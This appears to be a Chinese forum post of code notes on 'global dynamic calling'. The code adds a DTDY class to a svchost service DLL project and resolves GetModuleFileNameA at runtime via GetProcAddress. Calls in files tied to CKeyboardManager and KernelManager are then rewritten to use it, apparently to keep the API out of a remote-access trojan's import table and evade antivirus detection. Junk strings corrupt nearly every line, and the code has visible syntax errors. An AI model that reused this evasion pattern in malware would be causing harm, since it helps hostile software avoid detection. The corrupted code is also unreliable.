[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记# Y, y9 d+ \5 i. U3 V! [
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
* V- j7 l  o6 U* y3 d* E0 @----------------------------------------
6 j/ r& W# m) x7 V7 QDTDY.h：/ v  _0 p8 a0 Y  F- I4 W1 c& Y

* @% f7 v8 a8 h! @#if _MSC_VER>1000
: `# _5 v6 }& p5 _: k8 O2 I4 X/ F#pragma once
) m: d2 ^0 ]$ t- }" j. \% c! ?" k#endif //_MSC_VER>1000
, I/ P2 I2 r: i1 ~) X  b#include<windows.h>
$ E, q3 h( i: n3 M
: E: `0 e& r4 H" f8 ^( Rtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 S3 B9 M$ z, xclass DTDY. \2 U8 ^" u: U9 ]3 F
{
  C# Q/ J; z; C/ L% g& Ipublic:
5 \5 t+ V, x  k% S( o1 FDTDY();
- }: |  J) d7 E3 b5 T5 L( O4 Rvirtual ~DTDY();
5 \! {) y9 P. a, kpublic:
! B. g' M2 m0 v: F! q2 q( dstatic pGetModuleFileNameA MyGetModuleFileName;
* p- {; N$ s$ x) v) v: J* T: T$ cstatic BOOL FunInitiallization();, @9 c3 X" d+ }' X0 z. W
};
6 D' Y, @9 B- N6 }7 B#endif+ `9 Q8 C3 S1 B% n
----------------------------------------* W  Z8 h/ a6 O% S6 v# m1 ?4 e

7 q# l# O. t) z- M/ G7 K$ PDTDY.cpp:
2 V. n' `/ S% z9 z/ ?/ v' l6 N$ G4 i- n
#include "DTDY.h"/ k4 q( r4 W# s) d4 ~. X
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;% Q2 r" Y# O- g9 \' W/ k& M: P0 _8 h
DTDY:TDY()* G9 j) P0 l' w8 v! d  j
{9 H4 p, o5 u' K* `* x
}
, s6 F) K% O  w7 o3 RDTDY::~DTDY()# }1 Z1 J3 S1 X3 o* y
{
& B) R0 C9 h  [}
, j7 e  k+ E$ o; OBOOL DTDY::FunInitiallization()9 @/ f+ G/ n/ G
{
/ K( j4 y0 b2 `  kHMODULE hModule=LoadLibrary("kernel32.dll");& v) b: I# |; l( i: X) `. `0 U
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. p# L: d& x9 a1 t8 i( u% Sif(!MyGetModuleFileName=) return FALSE;
5 n$ Q5 p5 e: \% h% K5 t/ q3 ~2 G. N0 {' \
return TRUE;
: b4 \: B$ t4 Z3 A# Q}4 d4 q5 e/ x. p5 R
----------------------------------------
+ q+ t7 y& D. E( e/ t; E- V$ usvchost.cpp:
9 l* I6 c0 ~) v3 _: M! R2 _9 _4 N# x8 o7 y
#include "DTDY.h"
: ~1 ]' U' v0 }- C+ y
# q! f) N4 E$ LBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
$ A0 T$ c6 \( k3 j6 E3 L+ [{
1 S& O% X8 C9 Hswitch(ul_reason_for_call)
- i3 Z3 M  `, ?# _1 C. {{, l1 T5 ]1 `4 h- g) g% B) K* @) Y& C
case DLL_PROCESS_ATTACH:/ h1 v7 p3 T( e* A% X  e
if(!DTDY::FunInitiallization()) return FALSE;
. D: H' J. v9 z* ?% a4 w# d9 [: }8 l( a0 y
break;' z7 B' B; K. q: \
}, D0 }1 X1 N7 x, Y9 ?* E
}1 w/ v# z6 N& ]' Z# U8 T

4 R3 j+ m: @- n) h# O( [: z# B, u9 _2 E4 c2 d: x' ~( Q
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def2 W# r) {! [! E
改写为  P" E: B+ K/ v" c
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
9 u; L4 o: D8 B) \( Q; e----------------------------------------" x0 x, v' ^" o- u8 V
KernelManager.cpp:  ^3 B+ H, f4 q7 x

5 J/ H( p& b" [* U+ z#include "../DTDY.h"
& c% D3 F. v1 Z/ ^" o# BGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
. r5 W* ~7 ]0 y- i& H改写为
3 y" J, R: E* T( V+ v1 ADTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# f, U" r# n7 J: @5 p----------------------------------------